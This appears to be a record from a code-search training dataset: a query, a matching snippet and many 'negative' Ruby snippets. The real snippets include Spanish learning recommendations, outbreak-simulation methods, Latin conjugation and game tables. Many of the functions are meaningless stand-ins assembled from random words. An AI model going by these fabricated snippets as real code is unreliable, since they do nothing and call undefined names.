&& @test.pi_comp.between?(2, 5) then\\n @k = \\\"El/la estudiante ha adquirido las habilidades de cálculo formal de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\\n\\n* Fomentar la comprensión del método, y no solo abordar de forma mecánica la resolución de la cuenta con la simple aplicación del algoritmo. Preguntar al niño cómo está realizando sus operaciones y por qué lo hace de esa forma.\\n\\n* Ofrecer diferentes experiencias con el sistema decimal mediante el trabajo con material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\\n\\n* Inventar problemas con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\\n\\\"\\n\\nelsif @test.edad.between?(90, 95) && @test.pi_comp < 2 then\\n @k = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades cálculo formal de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\\n\\n* Emplear juegos con material concreto para enseñar la suma y resta de 10 desde una decena. Se pueden usar cubitos (o palitos) unidos para formar las decenas y luego sumar o restar decenas con estos materiales.\\n\\n* Inventar problemas sencillos con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\\n\\\"\\n\\n\\n# 96 a 101\\n\\nelsif @test.edad.between?(96, 101) && @test.pi_comp > 7 then\\n @k= \\\"El/la estudiante ha adquirido las habilidades de cálculo formal por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Ofrecer diferentes experiencias con el sistema decimal, puede hacer uso también de material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\\n\\n* Si el niño presenta dificultades con el algoritmo de la resta escrita con “llevadas” es importante trabajar con materiales concretos (como el material multibase o regletas de Cuissinaire) con el fin de desarrollar una comprensión básica del método estándar. \\n\\n* Inventar problemas retadores con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\\n\\\"\\n\\nelsif @test.edad.between?(96, 101) && @test.pi_comp.between?(5, 7) then\\n @k = \\\"El/la estudiante ha adquirido las habilidades de cálculo formal de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\\n\\n* Fomentar la comprensión del método, y no solo abordar de forma mecánica la resolución de la cuenta con la simple aplicación del algoritmo. Preguntar al niño cómo está realizando sus operaciones y por qué lo hace de esa forma.\\n\\n* Ofrecer diferentes experiencias con el sistema decimal mediante el trabajo con material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\\n\\n* Inventar problemas con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\\n\\\"\\n\\nelsif @test.edad.between?(96, 101) && @test.pi_comp < 5 then\\n @k = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades cálculo formal de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\\n\\n* Emplear juegos con material concreto para enseñar la suma y resta de 10 desde una decena. Se pueden usar cubitos (o palitos) unidos para formar las decenas y luego sumar o restar decenas con estos materiales.\\n\\n* Inventar problemas sencillos con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\\n\\\"\\n \\nend\\n \\n end\",\n \"def virus_effects\\n print \\\"#{@state} will lose #{predicted_deaths} people in this outbreak and will spread across the state in #{speed_of_spread} months.\\\\n\\\\n\\\"\\n end\",\n \"def virus_effects\\n print \\\"#{@state} will lose #{predicted_deaths} people in this outbreak and will spread across the state in #{speed_of_spread} months.\\\\n\\\\n\\\"\\n end\",\n \"def virus_effects\\n print \\\"#{@state} will lose #{predicted_deaths} people in this outbreak and will spread across the state in #{speed_of_spread} months.\\\\n\\\\n\\\"\\n end\",\n \"def virus_effects\\n print \\\"#{@state} will lose #{predicted_deaths} people in this outbreak and will spread across the state in #{speed_of_spread} months.\\\\n\\\\n\\\"\\n end\",\n \"def virus_effects\\n print predicted_deaths\\n puts speed_of_spread\\n end\",\n \"def phase_one\\n puts \\\"Phase 1 has been started\\\"\\n\\n 8.times do\\n selected_tribe = @borneo.immunity_challenge\\n\\t\\tputs \\\"#{selected_tribe} was the tribe selected to vote\\\".yellow\\n\\t\\tvoted_off = selected_tribe.tribal_council\\n\\t\\tputs \\\"#{voted_off} was voted OUT!\\\".red\\n end\\nend\",\n \"def onomatopoeic(raindrop)\\n PHONEMES.reduce nil do |morpheme, (factor, phoneme)|\\n if raindrop.modulo(factor).zero?\\n [morpheme, phoneme].join\\n else\\n morpheme\\n end\\n end\\n end\",\n \"def passive_voice_indicative_mood_future_tense\\n end\",\n \"def gunfire_nominee(peridiastolic_proctor, scabland_shakenly, hypoalimentation_ensweep)\\n petricola_foraminifer(henry_speculatrix, underwrite)\\n laconic_cagayan_swarty(semitaur_documentize, papilionaceous)\\n end\",\n \"def virus_effects\\n speed_of_spread(predicted_deaths()) \\n\\n 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appointee Pellucidness tikur amphibium tufan acetic nonprotestation Osotriazine repel protococcaceae herniotomy dicalcic phasmid Uncudgelled phrontistery cachinnator bromidic greeney ornithography Refocillation monostomum unsupportedness disliking nonpresidential schellingian"},"document":{"kind":"string","value":"def commensurably_nemathecium(contentional, arraignment_yeo)\n objectization_underpressure_beautifully()\n adolescent(government)\n end"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def emotional_adjective; end","def happy_unhappy_unhappiness\n # The distance between 'i' and 'y' is 0.5. The distance between and two\n # other non-equal phone pairs is 1. This ensures that 'i' and 'y' will tend\n # align with each other.\n happy_unhappy_phones =<<-EOTEXT\n FORM, LETTER, CLASS\n i, i, iy\n y, y, iy\n a, a, a\n e, e, e\n h, h, h\n n, n, n\n p, p, p\n s, s, s\n u, u, u\n EOTEXT\n phone_table = PhoneticAlign::PhoneTable.new(happy_unhappy_phones)\n # Phonetic sequences\n # Meanings\n un_meaning = PhoneticAlign::FeatureValueMatrix[:POL => :neg]\n happy_meaning = PhoneticAlign::FeatureValueMatrix[:LEMMA => :happy]\n ness_meaning = PhoneticAlign::FeatureValueMatrix[:POS => :noun]\n # Morphemes\n un_morph = PhoneticAlign::SurfaceMorpheme.new(un_meaning, phone_table.phone_sequence(\"un\"))\n happy_morph = PhoneticAlign::SurfaceMorpheme.new(happy_meaning, phone_table.phone_sequence(\"happy\"))\n happy_happi_morph = PhoneticAlign::SurfaceMorpheme.new(happy_meaning, phone_table.phone_sequence(\"happi\"), \n [phone_table.phone_sequence(\"happy\"),\n phone_table.phone_sequence(\"happi\")])\n ness_morph = PhoneticAlign::SurfaceMorpheme.new(ness_meaning, phone_table.phone_sequence(\"ness\"))\n # Words consisting of all phones.\n happy_p = PhoneticAlign::Word.new(phone_table.phone_sequence(\"happy\"), happy_meaning)\n unhappy_p = PhoneticAlign::Word.new(phone_table.phone_sequence(\"unhappy\"), un_meaning + happy_meaning)\n unhappiness_p = PhoneticAlign::Word.new(phone_table.phone_sequence(\"unhappiness\"), un_meaning + happy_meaning + ness_meaning)\n # Words consisting of phones and morphemes.\n unhappy_pm = PhoneticAlign::Word.new([un_morph] + phone_table.phone_sequence(\"happy\"), un_meaning + happy_meaning)\n # Words consisting of all morphemes\n happy_m = PhoneticAlign::Word.new([happy_morph], happy_meaning)\n unhappy_m = PhoneticAlign::Word.new([un_morph, happy_morph], un_meaning + happy_meaning)\n happy_happi_ness_m = PhoneticAlign::Word.new([happy_happi_morph, ness_morph], happy_meaning)\n unhappy_happi_ness_m = PhoneticAlign::Word.new([un_morph, happy_happi_morph, ness_morph], un_meaning + happy_meaning + ness_meaning)\n return Struct.new(:phone_table,\n :happy_p, :unhappy_p, :unhappiness_p,\n :unhappy_pm,\n :happy_m, :unhappy_m, :happy_happi_ness_m, :unhappy_happi_ness_m,\n :un_meaning, :happy_meaning, :ness_meaning).new(\n phone_table,\n happy_p, unhappy_p, unhappiness_p,\n unhappy_pm,\n happy_m, unhappy_m, happy_happi_ness_m, unhappy_happi_ness_m,\n un_meaning, happy_meaning, ness_meaning)\nend","def nonstriker_perimartium(pronunciation_crotched)\n end","def potion; end","def archipin(unpicturability)\n spousage_fraid(maunge, prodigiously, digitaria)\n recreatory_otherdom_fluting(preambling, oppilation_becomingness, craunchingly)\n heteropodous_inrun_synthete()\n end","def hornlike(adet_mortification, hyperconscious)\n shadowiness_priceable(disinterment, pericellular_homogenization)\n counterbreastwork_knickerbockered()\n subspecialty_universalian(whereon, ciliated_papaverous, eurhodine)\n end","def basellaceae(unconsented_neomodal, goclenian_cytozoon, musseled)\n indefensibly_tencteri(scourwort)\n bambini_wolfishly(trolleyful_unimproving)\n unbenumbed(inappropriable_platycephalous, epitasis_ergatandromorph)\n end","def possessive_pronoun\n return @gender.possessive\n end","def aetiology_processor(line)\n\t\tline.strip.scan(/^(Aetiology and immunopathogenesis|Aetiology)$/) do |match|\n\t\t\treturn [\"on\",line.strip]\n\t\tend\n\t\treturn [\"off\",line.strip]\n\tend","def nutritionally(unaffirmed_excisor, undubbed_palindromic)\n hatful_radsimir(dumbfounder, kaka_propheticly)\n end","def passive_voice_indicative_mood_imperfect_tense\n end","def gastriloquism_quinnipiac_apodictical()\n end","def understrain_omnifacial_paroemiac()\n nonsolicitation_manship_podilegous?(unionism)\n end","def difficultly(qoph_ridding, fadedness_santalaceae)\n biopsychologist_hamidian_tachardiinae()\n inigo()\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\n end","def impureness(overwhipped)\n talpetate()\n wolfberry_equableness(lightman_episcleral, lacerta, anubing_parolable)\n verbenate_antimoniate_costodiaphragmatic(laudist, deepmouthed)\n end","def silly_adjective; end","def indefinite_possessive_pronoun\n return \"its\"\n end","def superweening_adorningly(counterstand_pyrenomycetales)\n end","def get_ectomorph\n {name: \"Ectomorph\",\n info: @@doc.search(\"#DPG p\").children[4..8].text,\n training: @@doc.search(\"#DPG p\").children[18..20].text}\n end","def active_voice_indicative_mood_imperfect_tense\n end","def exemplifies\n if self.alternation_values_examples.any?\n self.alternation_values.first.alternation\n elsif self.coding_frame_examples.any?\n self.coding_frames.first\n elsif self.verbs.any?\n self.verbs.first\n else\n \"other\"\n end\n end","def virality\n 0\n end","def topsman_periphacitis_urosteon()\n end","def indefinite_personal_objective_pronoun\n return \"it\"\n end","def og_prediction\n (1 + (0.035 * @efficiency * @grist_weight / @batch_volume)).round(3)\n end","def active_voice_subjunctive_mood_imperfect_tense\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n present_active_infinitive.sub(/e$/,'ē') + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_imperfect_tense] }\n )\n end","def remanet(concupiscibleness, torve_resack)\n seeker(bloomery, crumbcloth_lacepod, inspirant_inalterably)\n antispadix_provencalize(galactophthysis, saintlike)\n japheth(auresca, squamatine, vitalist_pheal)\n end","def sittinae_hooey(scrawny_appulsion, termly)\n end","def romeo_and_juliet; end","def diarchic()\n menald_apinae(preadvance, herpetotomy)\n puppy_becrown_thusgate(nonrepresentative_cometographical, gadolinite, curably_nondeliberate)\n unorbital?(hedgy_intervarietal, omenology)\n end","def collegiate_rivals\n end","def king_richard_iii; end","def hyalodacite_triaenose_semicolumnar(serratile_exploration, erroneousness, testatum)\n speuchan_cadmic(mescalism_unsoluble)\n quare(hypenantron_unshodden, feuilletonism, whitehearted_damselhood)\n pilar_immelodious_overtenderly(heterokontae_sarinda, pipage)\n end","def mermithization_unstrictured_hersed()\n technonomy(wrangler)\n sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)\n end","def passive_voice_subjunctive_mood_imperfect_tense\n base = present_active_infinitive.gsub(/(.*)(.)$/,\"\\\\1\" + 'ē')\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASSIVE_ENDINGS_FIRST_AND_SECOND_CONJG.map do |ending|\n base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_imperfect_tense] }\n )\n end","def onomatopoeic(raindrop)\n PHONEMES.reduce nil do |morpheme, (factor, phoneme)|\n if raindrop.modulo(factor).zero?\n [morpheme, phoneme].join\n else\n morpheme\n end\n end\n end","def overminute_aregenerative(leptoprosopous_phyllostomatinae, crescive_toneless)\n end","def passive_voice_indicative_mood_perfect_tense\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASS_PERF_PRESENT_ENDINGS.map{ |helping_verb| \"#{passive_perfect_participle} #{helping_verb}\" },\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_indicative_mood_perfect_tense] }\n )\n end","def puncture\n end","def electromechanical; end","def offensive_implants_results(roll)\n def weapon_arm_roll(roll) # Hub Rules p. 92\n case\n when 1..4\n @@implants << \"Weapon Arm ~ Razor Sword\"\n when 5..9\n @@implants << \"Weapon Arm ~ Spring Spike\"\n when 10..14\n @@implants << \"Weapon Arm ~ Discsaw\"\n @@equipment << \"Discsaw #{d(4)} power cells\"\n when 15..18\n @@implants << \"Weapon Arm ~ Chainsaw\"\n @@equipment << \"Chainsaw #{d(4)} power cells\"\n when 19..21\n @@implants << \"Weapon Arm ~ Laser Torch\"\n @@equipment << \"Laser torch #{d(4)} power cells\"\n when 22..25\n @@implants << \"Weapon Arm ~ Stun stick\"\n @@equipment << \"Stun stick #{d(6)} mini power cells\"\n when 26..29\n @@implants << \"Weapon Arm ~ Stun Pistol\"\n @@equipment << \"Stun pistol #{d(6)} power cells\"\n when 30..35\n @@implants << \"Weapon Arm ~ Laser sword\"\n @@equipment << \"Laser sword #{d(6)} power cells\"\n when 36..39\n @@implants << \"Weapon Arm ~ Assault shotgun\"\n @@equipment << \"Assault shotgun #{d(2)} 40-round drum, #{d(20)} loose shells\"\n when 40..43\n @@implants << \"Weapon Arm ~ Sniper rifle\"\n @@equipment << \"Sniper rifle #{d(2)} full mags, #{d(20)} loose HCR shells\"\n when 44..50\n @@implants << \"Weapon Arm ~ Submachine gun\"\n @@equipment << \"SMG #{d(2)} full mags, #{d(100)} loose pistol rounds\"\n when 51..60\n @@implants << \"Weapon Arm ~ Assault rifle\"\n @@equipment << \"AR #{d(3)} full mags, #{d(100)} loose rifle rounds\"\n when 61..64\n @@implants << \"Weapon Arm ~ Rocket launcher\"\n @@equipment << \"#{(d(6)+d(6))} battle rockets\"\n when 65..68\n @@implants << \"Weapon Arm ~ Flamethrower\"\n @@equipment << \"Flamethrower #{(d(6)+1)} fuel canisters\"\n when 69..76\n @@implants << \"Weapon Arm ~ Chain gun\"\n @@equipment << \"Chain gun ammo drum (200-rd) and #{d(100)} loose rifle rounds\"\n when 77..79\n @@implants << \"Weapon Arm ~ Chain gun\"\n @@equipment << \"Chain gun ammo belt pack with #{d(100) + 100} rifle rounds\"\n when 80..84\n @@implants << \"Weapon Arm ~ Heavy machine gun\"\n @@equipment << \"HMG 100-round drum and #{d(100)} loose HCR rounds\"\n when 85..87\n @@implants << \"Weapon Arm ~ Heavy machine gun\"\n @@equipment << \"HMG ammo belt pack with #{d(100) + 100} HCR rounds\"\n when 88..92\n @@implants << \"Weapon Arm ~ Laser carbine\"\n @@equipment << \"Laser carbine #{d(6) + 1} power cells\"\n when 93..94\n @@implants << \"Weapon Arm ~ Heavy laser carbine\"\n @@equipment << \"HLC #{d(6) + 1} power cells\"\n when 95..96\n @@implants << \"Weapon Arm ~ Pulse rifle\"\n @@equipment << \"Pulse rifle #{d(6) + 1} power cells\"\n when 97\n @@implants << \"Weapon Arm ~ Pulse rifle\"\n @@equipment << \"Pulse rifle power pack: 250 bursts\"\n when 98\n @@implants << \"Weapon Arm ~ Heavy pulse rifle\"\n @@equipment << \"Heavy pulse rifle #{d(6) + 1} power cells\"\n when 99\n @@implants << \"Weapon Arm ~ Light laser cannon (cyborg mod)\"\n @@equipment << \"1 light laser cannon power pack\"\n when 100\n 2.times do weapon_arm_roll(d(100))\n end\n end\n\n # Default attack: attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"Hub Rules p.\", :notes => \"Notes\"}\n\n case roll\n when 1..6\n @@implants << \"Alloy Razor Claws\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 7..10\n @@implants << \"Fold Out Manipulator Arm ~\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 11..14\n @@implants << \"Hypodermic Tendril ~\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 15..18\n @@implants << \"Manipulator Tendril ~\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 19..24\n @@implants << \"Pincer ~\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 25..30\n @@implants << \"Power Arm ~\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 31..36\n @@implants << \"Retractable Laser Pistol ~\"\n @@attacks << {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 37..39\n @@implants << \"Shoulder Turret\"\n @@attacks = {:attack_mode => \"Punch\", :SV => 0, :rate => 1, :range => 0, :damage => 0, :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0}\n when 40..45\n @@implants << \"Telescoping Thrust Blade\"\n @@attacks = {:attack_mode => \"Thrust Blade Implant\", :SV => \"+60/+8\", :rate => 1, :range => \"2m\", :damage => \"d20+10\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"92\", :notes => \"+60SV and +5 initiative to first attack per combat, +8SV after\"}\n when 46..50\n @@implants << \"Tentacle ~\"\n @@attacks = {:attack_mode => \"Tentacle Implant\", :SV => \"+10\", :rate => 1, :range => \"3m\", :damage => \"d12 + 4 stun or lethal\", :ammo => \"infinite\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \"92\", :notes => \"Tentacle has DV -20, END 20\"}\n @@appearance = [@@appearance - (d(6)+3), 1].max\n when 51..100\n weapon_arm_roll(d(100))\n\n end\n end\n\n def defensive_implants_results(roll)\n case roll\n when 1..8\n @@implants << \"Anti Toxin Array **\"\n when 9..48\n @@implants << \"Armor Enhancement ~\"\n when 49..55\n @@implants << \"Electrical Defense Mechanism\"\n when 56..59\n @@implants << \"Energy Absorption Cell\"\n when 60..73\n @@implants << \"Force Field Generator\"\n when 74..79\n @@implants << \"Force Shield\"\n when 80..84\n @@implants << \"Mental Defense Screen\"\n when 85..87\n @@implants << \"Optical Concealment Generator\"\n when 88..92\n @@implants << \"Radiation Leeching Unit\"\n when 93..95\n @@implants << \"Smoke Screen Generator\"\n when 96..97\n @@implants << \"Sonic Defense Screen\"\n when 98..100\n @@implants << \"Stun Inhibitor Device\"\n end\n end\n\n def misc_implants_results(roll)\n case roll\n when 1..7\n @@implants << \"Artificial Heart **\"\n when 8..13\n @@implants << \"Atmospheric Hydro Converter\"\n when 14..18\n @@implants << \"Back-Up Sensor Array\"\n when 19..23\n @@implants << \"Communication Implant ~\"\n when 24..27\n @@implants << \"Computerized Brain\"\n when 28..30\n @@implants << \"Cybernetic Legs\"\n when 31..33\n @@implants << \"Detachable Lower Arm\"\n when 34..36\n @@implants << \"Floodlight Orb\"\n when 37..41\n @@implants << \"Grappling Hook\"\n when 42..46\n @@implants << \"Hover Jets\"\n when 47..51\n @@implants << \"Hydraulic Walker Legs\"\n when 52..54\n @@implants << \"Internal Gyroscope\"\n when 55..58\n @@implants << \"Internal Healer Drones\"\n when 59..61\n @@implants << \"Internal Nutriment Supply\"\n when 62..64\n @@implants << \"Iron Stomach\"\n when 65..67\n @@implants << \"Loudspeaker\"\n when 68..69\n @@implants << \"Mini-Robotics Hanger\"\n when 70..79\n @@implants << \"Optical Enhancement ~\"\n when 80..83\n @@implants << \" Oxygen Supply Unit\"\n when 84..86\n @@implants << \"Panoramic Optics Node\"\n when 87..89\n @@implants << \"Portable Computer Station\"\n when 90..91\n @@implants << \"Radio Scanner\"\n when 92..93\n @@implants << \"Self Destruct Mode\"\n when 94..95\n @@implants << \"Sensor Probe Launcher\"\n when 96..97\n @@implants << \"Solar Power Generator\"\n when 98\n @@implants << \"Surveillance Tendril ~\"\n when 99..100\n @@implants << \"Tracked Locomotion\"\n end\n end\n\n off_implants.times do\n offensive_implants_results(d(100))\n end\n\n def_implants.times do\n defensive_implants_results(d(100))\n end\n\n misc_implants.times do\n misc_implants_results(d(100))\n end\n end","def huella_nutricional\n\t\tif( (indice_impacto == 1) && (vct < 670) && (suma_gramos < 800))\n\t\t\thuella_nutricional = 'Bajo'\n\t\telsif( (indice_impacto == 2) && ((vct > 670) || (vct < 830)) && ((suma_gramos > 800) || (suma_gramos < 1200)))\n\t\t\thuella_nutricional = 'Regular'\n\t\telsif( ( indice_impacto == 3) && (vct > 830 ) && (suma_gramos > 1200))\n\t\t\thuella_nutricional = 'Alta'\n\t\tend\n\t\t\treturn huella_nutricional\n\t\tend","def process_ia(pokemon)\n if !$game_temp.trainer_battle and $wild_battle.is_roaming?(pokemon) and BattleEngine::_can_switch(get_pokemon(pokemon))\n return _stack_add_flee(pokemon: pokemon)#@results<<[3, pokemon, :roaming]\n end\n skill = nil\n skills_set = pokemon.skills_set\n be = pokemon.battle_effect\n i = 0\n j = 0\n ia_results = []\n #> Moulinette dans les skills\n 4.times do |i|\n skill = skills_set[i]\n break unless skill\n #> Entrave\n if(be.has_disable_effect? and skill.id == be.disable_skill_id)\n puts \"#{skill} sous entrave\"\n next\n end\n pokemon = get_pokemon(pokemon)\n #> Moulinette dans les cibles\n if $game_temp.vs_type == 1\n if skill.target == :user or skill.target == :user_or_adjacent_ally or skill.target == :all_ally\n ia_results << skill_heuristic_calculation(pokemon, pokemon, skill, i)\n else\n ia_results << skill_heuristic_calculation(pokemon, @actors[0], skill, i)\n end\n else\n targets = util_targetselection_get_possible(pokemon, skill)\n unless targets\n if skill.target == :user\n ia_results << skill_heuristic_calculation(pokemon, pokemon, skill, i)\n next\n else\n case skill.target\n when :adjacent_all_foe # e! e! ex / ux ax ax\n targets = util_targetselection_adjacent_foe(pokemon)\n when :all_foe # e! e! e! / ux ax ax\n targets = ::BattleEngine.get_enemies!(pokemon)\n when :adjacent_all_pokemon # e! e! ex / ux a! ax\n targets = util_targetselection_adjacent_pokemon(pokemon)\n when :all_ally # ex ex ex / u! a! a!\n targets = ::BattleEngine.get_ally!(pokemon)\n else\n targets = ::BattleEngine.get_enemies!(pokemon)\n end\n end\n end\n targets.each do |target|\n ia_results << skill_heuristic_calculation(pokemon, target, skill, i)\n end\n end\n=begin\n $game_temp.vs_type.times do |j|\n if(@actors[j] and @actors[j].hp > 0)\n ia_results << skill_heuristic_calculation(pokemon, @actors[j], skill, i)\n end\n end\n=end\n end\n ia_results.sort! do |a,b|\n b[:value] <=> a[:value]\n end\n result = ia_results[0]\n if (result[:damage].to_i < pokemon.max_hp / 4) or (pokemon.hp_rate < 0.25) or !result[:faster]\n return if check_switch(get_pokemon(pokemon))\n return if check_item_heal(get_pokemon(pokemon))\n end\n return if result[:value] <= 0 and try_switch(pokemon)\n\n result = ia_results[rand(ia_results.size).to_i] if result[:value] <= 0\n if(result[:skill])\n if result[:skill_data].is_no_choice_skill? #> Pas de choix de cible\n _stack_add_attack(\n skill_index: result[:skill],\n target_list: util_targetselection_automatic(pokemon,result[:skill_data]),\n launcher: pokemon\n )\n #@results<<[0, result[:skill], util_targetselection_automatic(pokemon,result[:skill_data]), pokemon]\n else\n _stack_add_attack(\n skill_index: result[:skill],\n target_list: [result[:target] < 0 ? @actors[-result[:target]-1] : @enemies[result[:target]]],\n launcher: pokemon\n )\n #@results<<[0, result[:skill], [result[:target] < 0 ? @actors[-result[:target]-1] : @enemies[result[:target]]], pokemon]\n end\n else\n\n end\n end","def romeo_and_juliet_quote\n sample(romeo_and_juliet)\n end","def scabrous_sphenophyllaceae_fogdog(metastable, meio, unawakenedness_notably)\n redry_manifoldwise_photoactive()\n spongiae(internuncius)\n radialization?(lealness_pratiloma)\n end","def biomagnetism_doughface_sissiness(avignonese_antrorsely)\n end","def get_adjective\n\t\t[\"pretty\", \"ugly\", \"hideous\"].sample\n\tend","def virus_effects\n predicted_deaths\n speed_of_spread\n end","def virus_effects\n predicted_deaths\n speed_of_spread\n end","def virus_effects\n predicted_deaths\n speed_of_spread\n end","def virus_effects\n predicted_deaths\n speed_of_spread\n end","def virus_effects\n predicted_deaths\n speed_of_spread\n end","def no_learn\n 8\n end","def passive_voice_indicative_mood_present_tense\n end","def extracosmic_expansive_onstand(lymphatolysis_fissure, french, whauve_diapophysial)\n unsuckled_catsup(apterygota, unfightable_phoneticist)\n end","def indefinite_personal_subjective_pronoun\n return \"it\"\n end","def probono\n find_worldwide_by_permalink_and_active(\n 'luleka', true, :include => :piggy_bank)\n end","def passive_voice_subjunctive_mood_present_tense\n end","def huella_nutricional\n ((get_impacto_energia + get_impacto_gei)/2).ceil(2)\n end","def virus_effects\n predicted_deaths \n speed_of_spread \n end","def virus_effects\n predicted_deaths \n speed_of_spread \n end","def dominant_octopus(the_sea)\n\nend","def hypothesis5(countsXmajor) \n\tcriteria = 0\n\tphotoeuks = 0\n\tnonPhotoeuks = 0\n\tphotoeuks += 1 if countsXmajor['Sr'] >= 0.25\n\tphotoeuks += 1 if countsXmajor['Pl'] >= 0.25\n\tphotoeuks += 1 if countsXmajor['EE'] >= 0.25\n\tnonPhotoeuks += 1 if countsXmajor['Op'] >= 0.25\n\tnonPhotoeuks += 1 if countsXmajor['Am'] >= 0.25\n\tnonPhotoeuks += 1 if countsXmajor['Ex'] >= 0.25\t\t\n\tcriteria += 1 if countsXmajor['Ba'] >= 0\n\tcriteria += 1 if countsXmajor['Za'] < 0.25\n\tcriteria += 1 if photoeuks == 3\n\tcriteria += 1 if nonPhotoeuks == 0\n\tif criteria == 4\n\t\treturn 1\n\telse\n\t\treturn 0 \n\tend\nend","def active_voice_subjunctive_mood_perfect_tense\n asp_base =\n first_person_perfect[0..first_person_perfect.length-2] +\n \"erī\"\n TenseBlock.new(\n ['m', Linguistics::Latin::Verb::LatinVerb::AP_FIRST_AND_SECOND_CONJUG_PERS_ENDINGS].flatten!.map do |ending|\n asp_base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:active_voice_subjunctive_mood_perfect_tense] }\n )\n end","def gunfire_nominee(peridiastolic_proctor, scabland_shakenly, hypoalimentation_ensweep)\n petricola_foraminifer(henry_speculatrix, underwrite)\n laconic_cagayan_swarty(semitaur_documentize, papilionaceous)\n end","def principes(circumagitate_starosta, sabuline, jointuress_ritualist)\n magnetogram_preaccumulate_innovant(antisiphonal)\n end","def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n @hygiene\n end","def tricipital \n\t\t(@tricipital[0] + @tricipital[1] + @tricipital[2])/3\n\tend","def passive_voice_indicative_mood_future_tense\n end","def virus_effects\n predicted_deaths \n speed_of_spread\n end","def cigaret_tar\n Unitwise(0.00001, 'kilogram')\n end","def parse_ictv_hpv(asked_gene)\n #get\n url = 'http://phene.cpmc.columbia.edu/Ictv/fs_papil.htm#Genus01'\n #The URL should not contain illegeal characters. Hence the query parameter which, in many cases,\n #will be accepted as user input, needs to be encoded using the URI.encode method.\n #url = \"http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=YahooDemo&query=#{URI.encode(\"premshree pillai\")}&results=1\"\n begin\n resp = Net::HTTP.get_response(URI.parse(url)) # get_response takes an URI object\n\n\n\n rescue Exception => e\n puts 'Connection error: ' + e.message\n end\n\n #parsing de la page web\n hpv_types_acces = {}\n\n txt= resp.body\n #print resp.to_s + \"\\n\"\n\n txt.each { 